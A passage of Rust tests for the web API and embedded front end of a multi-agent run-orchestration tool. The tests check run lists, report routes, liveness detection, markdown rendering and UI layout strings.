12104 assert_eq!(detail.json()["base_branch"], "main");
12105 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12106 }
12107
12108 #[tokio::test]
12116 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12117 let f = Fixture::start().await;
12118
12119 let mut none_run = RunState::new(
12120 PathBuf::from("/repo/magi"),
12121 "main".to_owned(),
12122 "0123456789abcdef".to_owned(),
12123 "Add a web UI".to_owned(),
12124 Config::default(),
12125 );
12126 none_run.id = "20260902-140503-none".to_owned();
12127 none_run.status = RunStatus::Ready;
12128 none_run.merge = Some(crate::run::MergeOutcome {
12129 mode: crate::config::MergeMode::None,
12130 ok: true,
12131 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12132 empty: false,
12133 });
12134 write_state(&f.runs(), &none_run);
12135
12136 let mut pr_run = RunState::new(
12137 PathBuf::from("/repo/magi"),
12138 "main".to_owned(),
12139 "0123456789abcdef".to_owned(),
12140 "Add a web UI".to_owned(),
12141 Config::default(),
12142 );
12143 pr_run.id = "20260902-140504-prcl".to_owned();
12144 pr_run.status = RunStatus::Ready;
12145 pr_run.merge = Some(crate::run::MergeOutcome {
12146 mode: crate::config::MergeMode::Pr,
12147 ok: false,
12148 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12149 empty: false,
12150 });
12151 write_state(&f.runs(), &pr_run);
12152
12153 let summary = f.get("/api/runs").await.json();
12154 let rows: std::collections::HashMap<&str, &Value> = summary
12155 .as_array()
12156 .expect("an array")
12157 .iter()
12158 .map(|r| (r["id"].as_str().expect("an id"), r))
12159 .collect();
12160 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12161 assert_eq!(
12162 rows[none_run.id.as_str()]["unmerged_by_design"],
12163 true,
12164 "a mode-none Ready must be flagged in the list"
12165 );
12166 assert_eq!(
12167 rows[pr_run.id.as_str()]["unmerged_by_design"],
12168 false,
12169 "a Ready reached by a closed pull request is a different case"
12170 );
12171
12172 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12173 assert_eq!(none_detail["status"], "ready");
12174 assert_eq!(none_detail["unmerged_by_design"], true);
12175
12176 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12177 assert_eq!(pr_detail["unmerged_by_design"], false);
12178 }
12179
12180 #[tokio::test]
12185 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12186 let f = Fixture::start().await;
12187 let id = "20260902-140502-bbbb";
12191 let mut state = RunState::new(
12192 PathBuf::from("/repo/magi"),
12193 "main".to_owned(),
12194 "0123456789abcdef".to_owned(),
12195 "Add a web UI".to_owned(),
12196 Config::default(),
12197 );
12198 state.id = id.to_owned();
12199 state.status = RunStatus::Judging;
12200 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12201 let dir = f.runs().join(id);
12202 std::fs::create_dir_all(&dir).expect("run dir");
12203 std::fs::write(
12204 dir.join("run.json"),
12205 serde_json::to_string_pretty(&state).expect("serialize run"),
12206 )
12207 .expect("write run.json");
12208
12209 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12215 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12216 assert_eq!(cold["live"], "unknown", "{cold}");
12217
12218 write_daemon(f.home.path(), Timestamp::now());
12221 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12222 assert_eq!(warm["live"], "live", "{warm}");
12223 }
12224
12225 #[tokio::test]
12228 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12229 let f = Fixture::start().await;
12230 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12231 let mut state = RunState::new(
12232 PathBuf::from("/repo/magi"),
12233 "main".to_owned(),
12234 "0123456789abcdef".to_owned(),
12235 "Add a web UI".to_owned(),
12236 Config::default(),
12237 );
12238 state.id = id.to_owned();
12239 state.origin = origin;
12240 let mut value = serde_json::to_value(&state).expect("serialize run");
12241 if let Some(schema) = schema {
12242 value["schema"] = serde_json::json!(schema);
12243 value.as_object_mut().unwrap().remove("origin");
12244 }
12245 let dir = f.runs().join(id);
12246 std::fs::create_dir_all(&dir).expect("run dir");
12247 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12248 };
12249 write(
12250 "20260930-092817-ec34",
12251 Some(crate::run::Origin::from_agent_env(
12252 Some(("4a7b".to_owned(), "chat".to_owned())),
12253 None,
12254 )),
12255 None,
12256 );
12257 write("20260930-092817-0ld1", None, Some(12));
12258
12259 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12260 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12261 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12262
12263 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12264 assert_eq!(
12265 old["origin_label"], "origin unknown (started before origins were recorded)",
12266 "{old}"
12267 );
12268 assert!(old["origin"].is_null(), "{old}");
12269
12270 let list = f.get("/api/runs").await.json();
12271 let labels: Vec<_> = list
12272 .as_array()
12273 .unwrap()
12274 .iter()
12275 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12276 .collect();
12277 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12278 }
12279
12280 #[tokio::test]
12287 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12288 let f = Fixture::start().await;
12289 let id = "20260922-090000-cccc";
12290 let mut state = RunState::new(
12291 PathBuf::from("/repo/magi"),
12292 "main".to_owned(),
12293 "0123456789abcdef".to_owned(),
12294 "Review only".to_owned(),
12295 Config::default(),
12296 );
12297 state.id = id.to_owned();
12298 state.status = RunStatus::Reviewing;
12299 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12300 state.driver_pid = Some(std::process::id());
12306 state.driver_started_at = Some(
12307 crate::proc::process_started_at(std::process::id())
12308 .expect("this test process's own start time must be queryable"),
12309 );
12310 let dir = f.runs().join(id);
12311 std::fs::create_dir_all(&dir).expect("run dir");
12312 std::fs::write(
12313 dir.join("run.json"),
12314 serde_json::to_string_pretty(&state).expect("serialize run"),
12315 )
12316 .expect("write run.json");
12317
12318 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12319 assert_eq!(detail["live"], "live", "{detail}");
12320 }
12321
12322 #[tokio::test]
12328 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12329 let f = Fixture::start().await;
12330 let id = "20260922-090100-dddd";
12331 let mut state = RunState::new(
12332 PathBuf::from("/repo/magi"),
12333 "main".to_owned(),
12334 "0123456789abcdef".to_owned(),
12335 "Review only".to_owned(),
12336 Config::default(),
12337 );
12338 state.id = id.to_owned();
12339 state.status = RunStatus::Reviewing;
12340 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12341 state.driver_pid = Some(std::process::id());
12346 state.driver_started_at = Some("1".to_owned());
12347 let dir = f.runs().join(id);
12348 std::fs::create_dir_all(&dir).expect("run dir");
12349 std::fs::write(
12350 dir.join("run.json"),
12351 serde_json::to_string_pretty(&state).expect("serialize run"),
12352 )
12353 .expect("write run.json");
12354
12355 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12356 assert_eq!(detail["live"], "dead", "{detail}");
12357 }
12358
12359 #[test]
12363 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12364 let mk = |id: &str, pid: Option<u32>| {
12365 let mut s = RunState::new(
12366 PathBuf::from("/repo/magi"),
12367 "main".to_owned(),
12368 "0123456789abcdef".to_owned(),
12369 "Add a web UI".to_owned(),
12370 Config::default(),
12371 );
12372 s.id = id.to_owned();
12373 s.driver_pid = pid;
12374 s.driver_started_at = Some("1790000000".to_owned());
12375 s
12376 };
12377 let states = vec![
12378 mk("20260902-140502-aaaa", Some(77)),
12379 mk("20260902-140502-bbbb", Some(77)),
12380 mk("20260902-140502-cccc", Some(77)),
12381 mk("20260902-140502-dddd", None),
12382 ];
12383 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12384 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12385 let sup: HashMap<String, String> = [(
12386 "20260902-140502-aaaa".to_owned(),
12387 "20260902-140502-cccc".to_owned(),
12388 )]
12389 .into();
12390
12391 let status_calls = std::cell::Cell::new(0);
12392 let identity_calls = std::cell::Cell::new(0);
12393 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12394 |_| {
12395 status_calls.set(status_calls.get() + 1);
12396 Some(true)
12397 },
12398 |_| {
12399 identity_calls.set(identity_calls.get() + 1);
12400 Some("1790000000".to_owned())
12401 },
12402 ));
12403 let rows = summarize(
12404 states,
12405 &open,
12406 &claimed,
12407 &sup,
12408 |p| probe.borrow_mut().status(p),
12409 |p| probe.borrow_mut().started_at(p),
12410 );
12411
12412 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12413 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12414 assert_eq!(rows.len(), 4);
12415 assert!(!rows[0].waiting && rows[1].waiting);
12416 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12417 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12418 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12419 assert_eq!(rows[1].superseded_by, None);
12420 }
12421
12422 #[test]
12423 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12424 let mut state = RunState::new(
12425 PathBuf::from("/repo/magi"),
12426 "main".to_owned(),
12427 "0123456789abcdef".to_owned(),
12428 "Review only".to_owned(),
12429 Config::default(),
12430 );
12431 state.id = "20260922-090200-dead".to_owned();
12432 state.status = RunStatus::Reviewing;
12433 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12434 .expect("serialize list row");
12435 assert_eq!(row["status"], "reviewing");
12436 assert_eq!(row["live"], "dead", "{row}");
12437 assert!(!row["done"].as_bool().unwrap());
12438 }
12439
12440 #[tokio::test]
12441 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12442 let f = Fixture::start().await;
12443 for id in [
12444 "20260902-140501-aaaa",
12445 "20260902-140502-bbbb",
12446 "20260902-140503-cccc",
12447 ] {
12448 write_run(&f.runs(), id, RunStatus::Merged);
12449 }
12450
12451 let all = f.get("/api/runs").await.json();
12452 let capped = f.get("/api/runs?limit=2").await.json();
12453
12454 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12455 assert_eq!(all.as_array().map(Vec::len), Some(3));
12456 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12457 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12458 }
12459
12460 #[tokio::test]
12461 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12462 let f = Fixture::start().await;
12463 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12464
12465 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12466
12467 assert_eq!(res.status, 200);
12468 assert!(
12469 res.headers
12470 .contains("content-type: text/plain; charset=utf-8"),
12471 "a browser must render it, not download it: {}",
12472 res.headers
12473 );
12474 assert!(
12478 res.body.contains("20260902-140501-a1b2"),
12479 "the report is about the run that was asked for: {}",
12480 res.body
12481 );
12482 }
12483
12484 #[tokio::test]
12485 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12486 crate::run::pin_test_home();
12488 let f = Fixture::start().await;
12489 let id = "20260902-140501-a1b2";
12490 write_run(&f.runs(), id, RunStatus::Stalled);
12491 let path = f.runs().join(id).join("run.json");
12494 let mut v: serde_json::Value =
12495 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12496 v["tally"] = serde_json::json!({
12497 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12498 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12499 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12500 "met_quorum": false, "rankings": 1
12501 });
12502 v["reviews"] = serde_json::json!([{
12503 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12504 "e2e_deferred": true,
12505 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12506 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12507 ]}]
12508 }]);
12509 std::fs::write(&path, v.to_string()).unwrap();
12510 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12511 std::fs::write(
12512 f.runs().join("20260902-140502-dead").join("run.json"),
12513 "{not json",
12514 )
12515 .unwrap();
12516
12517 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12518
12519 assert_eq!(res.status, 200, "{}", res.body);
12520 assert!(res.headers.contains("content-type: application/json"));
12521 let j = res.json();
12522 assert_eq!(j["schema"], 1);
12523 assert_eq!(j["header"]["id"], id);
12524 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12525 let kinds: Vec<&str> = j["sections"]
12526 .as_array()
12527 .unwrap()
12528 .iter()
12529 .map(|s| s["kind"].as_str().unwrap())
12530 .collect();
12531 assert_eq!(kinds, ["candidates", "tally", "review"]);
12532 let tally = &j["sections"][1]["tally"];
12533 assert_eq!(
12534 (tally["decided"].clone(), tally["provisional"].clone()),
12535 (false.into(), true.into())
12536 );
12537 let round = &j["sections"][2]["rounds"][0];
12538 assert_eq!(round["e2e"]["state"], "deferred");
12539 assert_eq!(round["findings"][0]["severity"], "major");
12540 assert_eq!(round["findings"][0]["blocking"], true);
12541 assert_eq!(round["findings"][0]["state"], "open");
12542
12543 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12545
12546 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12548 assert_ne!(bad.status, 200, "{}", bad.body);
12549 assert_eq!(
12550 bad.status,
12551 f.get("/api/runs/20260902-140502-dead/report").await.status
12552 );
12553 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12554 assert_eq!(
12555 f.get("/api/runs/20260902-999999-ffff/report.json")
12556 .await
12557 .status,
12558 404
12559 );
12560 }
12561
12562 #[tokio::test]
12563 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12564 let f = Fixture::start().await;
12565
12566 let html = f.get("/").await;
12567 let css = f.get("/app.css").await;
12568 let js = f.get("/app.js").await;
12569
12570 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12571 assert!(
12572 html.headers
12573 .contains("content-type: text/html; charset=utf-8")
12574 );
12575 assert!(css.headers.contains("content-type: text/css"));
12576 assert!(js.headers.contains("content-type: text/javascript"));
12577 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12578 }
12579
12580 #[test]
12581 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12582 let body = |name: &str| {
12583 let at = APP_JS
12584 .find(name)
12585 .unwrap_or_else(|| panic!("{name} missing"));
12586 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12587 };
12588 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12589 let note = body("function landRoundNote");
12590 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12591 assert!(note.contains("Land round ${round}"));
12592 let land = body("function renderLand");
12593 let note_at = land
12594 .find("landRoundNote(pr)")
12595 .expect("renderLand uses the note");
12596 assert!(
12597 note_at
12598 < land
12599 .find("roundRail(pr)")
12600 .expect("renderLand uses the rail")
12601 );
12602 }
12603
12604 #[test]
12605 fn the_runs_page_redesign_keeps_its_guards() {
12606 let body = |name: &str| {
12607 let at = APP_JS
12608 .find(name)
12609 .unwrap_or_else(|| panic!("{name} missing"));
12610 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12611 };
12612 let land = body("function renderLand");
12614 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12615 assert!(
12616 !land.contains("box.append("),
12617 "renderLand must use append()"
12618 );
12619 assert!(land.contains("append(box, ["));
12620 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12622 assert!(
12623 body("function applyRoute")
12624 .contains("route.name !== state.route.name || route.id !== state.route.id")
12625 );
12626 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12628 assert!(!INDEX_HTML.contains("advise-converge"));
12629 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12630 assert!(APP_JS.contains("provisional"));
12631 for id in [
12632 "run-tab-overview",
12633 "run-tab-timeline",
12634 "run-tab-report",
12635 "run-report",
12636 "runs-scope",
12637 ] {
12638 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12639 }
12640 assert!(!INDEX_HTML.contains("runs-tree"));
12641 assert!(!INDEX_HTML.contains("run-raw-panel"));
12642 assert!(APP_JS.contains("resume"));
12644 assert!(APP_JS.contains("unreadable"));
12646 }
12647
12648 #[test]
12649 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12650 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12651 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12652 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12653 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12654 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12655 assert!(APP_JS.contains("unreadable` : null"));
12657 }
12658
12659 #[test]
12660 fn the_run_detail_payload_says_whether_the_run_is_done() {
12661 for (status, done) in [
12663 (RunStatus::Superseded, true),
12664 (RunStatus::Blocked, true),
12665 (RunStatus::Landing, false),
12666 ] {
12667 let mut state = RunState::new(
12668 std::path::PathBuf::from("/repo"),
12669 "main".to_owned(),
12670 "abc".to_owned(),
12671 "x".to_owned(),
12672 crate::config::Config::default(),
12673 );
12674 state.status = status;
12675 let v = serde_json::to_value(RunDetailView::of(
12676 state,
12677 crate::run::Liveness::Unknown,
12678 None,
12679 None,
12680 None,
12681 ))
12682 .unwrap();
12683 assert_eq!(v["done"], done, "{status:?}");
12684 }
12685 }
12686
12687 fn has_strong(nodes: &[md::Node]) -> bool {
12689 serde_json::to_string(nodes).unwrap().contains("strong")
12690 }
12691
12692 #[test]
12693 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12694 let mut state = RunState::new(
12695 std::path::PathBuf::from("/repo"),
12696 "main".to_owned(),
12697 "abc".to_owned(),
12698 "x".to_owned(),
12699 crate::config::Config::default(),
12700 );
12701 let proposal = |approach: &str| {
12702 serde_json::json!({
12703 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12704 })
12705 };
12706 state.advice = Some(
12707 serde_json::from_value(serde_json::json!({
12708 "records": [
12709 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12710 "proposal": proposal("do **this**")},
12711 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12712 ],
12713 "synthesis": "- one\n- **two**\n\n`code`",
12714 }))
12715 .unwrap(),
12716 );
12717 state.candidates = serde_json::from_value(serde_json::json!([
12718 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12719 "summary": "did **it**"},
12720 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12721 ]))
12722 .unwrap();
12723 state.reviews = serde_json::from_value(serde_json::json!([{
12726 "round": 1, "head": "h",
12727 "reviews": [{
12728 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12729 "findings": [
12730 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12731 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12732 ],
12733 }],
12734 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12735 "fix": {"agent": "a", "notes": "fixed **it**",
12736 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12737 }, {"round": 2, "head": "h2", "reviews": []}]))
12738 .unwrap();
12739
12740 let v = serde_json::to_value(RunDetailView::of(
12741 state,
12742 crate::run::Liveness::Unknown,
12743 None,
12744 None,
12745 None,
12746 ))
12747 .unwrap();
12748
12749 let strong = |p: &str| {
12750 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12751 assert!(n.to_string().contains("strong"), "{p}: {n}");
12752 };
12753 strong("/advice_md/synthesis");
12754 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12755 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12756 strong("/advice_md/approaches/0");
12757 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12758 strong("/candidate_summaries_md/0");
12759 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12760 strong("/reviews_md/0/reviewers/0/summary");
12761 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12762 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12763 assert!(f[1].to_string().contains("strong"));
12764 strong("/reviews_md/0/reconsideration/0");
12765 strong("/reviews_md/0/fix/notes");
12766 strong("/reviews_md/0/fix/rejected/0");
12767 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12768 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12769 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12771 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12772 }
12773
12774 #[test]
12775 fn a_run_without_advice_has_no_advice_md() {
12776 let state = RunState::new(
12777 std::path::PathBuf::from("/repo"),
12778 "main".to_owned(),
12779 "abc".to_owned(),
12780 "x".to_owned(),
12781 crate::config::Config::default(),
12782 );
12783 let p = run_prose_md(&state);
12784 assert!(p.advice_md.is_none());
12785 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12786 }
12787
12788 #[test]
12789 fn a_question_view_carries_markdown_for_each_thread_turn() {
12790 let home = TempDir::new().unwrap();
12791 let store = ask::Questions::at(home.path().join("questions"));
12792 let mut q = Question::new(
12793 "run".to_owned(),
12794 "implement".to_owned(),
12795 "impl-A".to_owned(),
12796 "which?".to_owned(),
12797 String::new(),
12798 Vec::new(),
12799 );
12800 q.say("plain words").unwrap();
12801 q.reply("use **this**", Vec::new()).unwrap();
12802 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12803 let bodies = &v["thread_bodies_md"];
12804 assert_eq!(bodies.as_array().unwrap().len(), 2);
12805 assert!(!bodies[0].to_string().contains("strong"));
12806 assert!(bodies[1].to_string().contains("strong"));
12807 }
12808
12809 #[test]
12810 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12811 let home = TempDir::new().unwrap();
12812 let store = ask::Questions::at(home.path().join("questions"));
12813 let mut q = Question::new(
12814 "run".to_owned(),
12815 "conduct".to_owned(),
12816 "conduct".to_owned(),
12817 "which?".to_owned(),
12818 String::new(),
12819 Vec::new(),
12820 );
12821 q.say("plain words").unwrap();
12822 q.thread.push(ask::Turn {
12823 who: ask::Who::Agent,
12824 body: "Settled as `merge`".to_owned(),
12825 at: jiff::Timestamp::now(),
12826 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12827 });
12828 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12829 let notes = &v["thread_notes_md"];
12830 assert_eq!(notes.as_array().unwrap().len(), 2);
12831 assert!(notes[0].is_null());
12832 let text = notes[1].to_string();
12833 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12834 assert!(APP_JS.contains("ask-turn-note"));
12835 }
12836
12837 #[test]
12838 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12839 assert!(APP_JS.contains("function landView(run, raw) {"));
12843 assert!(
12844 APP_JS.contains(
12845 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12846 )
12847 );
12848 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12849 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12850 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12851 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12852 }
12853
12854 #[test]
12855 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12856 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12857 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12858 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12859 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12860 }
12861
12862 #[test]
12863 fn review_rounds_label_a_distinct_verified_head() {
12864 assert!(APP_JS.contains("round.verified_head"));
12865 assert!(APP_JS.contains("verified HEAD"));
12866 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12867 }
12868
12869 #[test]
12870 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12871 assert!(APP_JS.contains("blocked: { glyph:"));
12875 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12876
12877 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12881 assert!(
12882 APP_JS.contains(
12883 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12884 ),
12885 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12886 );
12887 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12891
12892 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12896 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12897 assert!(
12898 APP_JS.contains("location.hash = \"#/questions\";"),
12899 "a question node must jump to the Questions screen, not pretend to be a task"
12900 );
12901
12902 assert!(APP_JS.contains("Resolved questions"));
12905 assert!(APP_JS.contains("r.answersList.append("));
12906 assert!(APP_CSS.contains(".task-answers"));
12907 {
12908 let start = APP_JS
12909 .find("function updateTalkTaskRow")
12910 .expect("updateTalkTaskRow");
12911 let body = &APP_JS[start..];
12912 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12913 assert!(
12914 body.contains(
12915 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12916 ),
12917 "a chat-filed task row must link to the task page"
12918 );
12919 assert!(
12920 !body.contains("#/runs/") && !body.contains("#/queue/"),
12921 "the row must not branch to a run or the queue card"
12922 );
12923 assert!(APP_CSS.contains(".talk-task-link"));
12924 }
12925 }
12926
12927 #[test]
12928 fn a_task_notification_links_to_the_task_page() {
12929 let start = APP_JS
12931 .find("function noticeLink(")
12932 .expect("noticeLink exists");
12933 let body = &APP_JS[start..];
12934 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12935 assert!(
12936 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12937 "a task notice's link must target the task page"
12938 );
12939 assert!(
12940 !body.contains("#/queue/"),
12941 "regression: the task link must not go back to the Backlog route"
12942 );
12943 assert!(
12944 APP_JS.contains(
12945 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12946 ),
12947 "`#/tasks/<id>` must parse into the task route"
12948 );
12949
12950 assert!(
12952 APP_JS.contains(
12953 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12954 ),
12955 "`#/queue/<id>` must parse into a route carrying that id"
12956 );
12957
12958 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12962 assert!(APP_JS.contains("function consumeQueueFocus()"));
12963 assert!(APP_JS.contains("jumpToTask(id)"));
12964 }
12965
12966 #[test]
12969 fn chat_rows_put_the_title_alone_on_the_first_line() {
12970 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12971 assert!(APP_CSS.contains(
12972 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12973 ));
12974 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12975 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12976 }
12977
12978 #[test]
12979 fn run_rows_put_the_title_alone_on_the_first_line() {
12980 assert!(
12981 APP_CSS.contains(
12982 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12983 )
12984 );
12985 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12986 assert!(APP_JS.contains("class: \"card run-card\""));
12987 assert!(APP_JS.contains("class: \"repo run-id\""));
12988 }
12989
12990 #[test]
12994 fn wide_screens_show_list_and_preview_side_by_side() {
12995 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12997 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12998 assert!(APP_CSS.contains("main[data-split]"));
12999 assert!(APP_CSS.contains("body[data-split]"));
13000
13001 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13003 assert!(
13004 APP_JS.contains(
13005 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13006 )
13007 );
13008 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13009 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13010 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13011
13012 assert!(APP_JS.contains("function markSelected() {"));
13014 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13015 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13016 assert!(
13018 APP_CSS.contains(
13019 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13020 )
13021 );
13022
13023 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13025 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13026 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
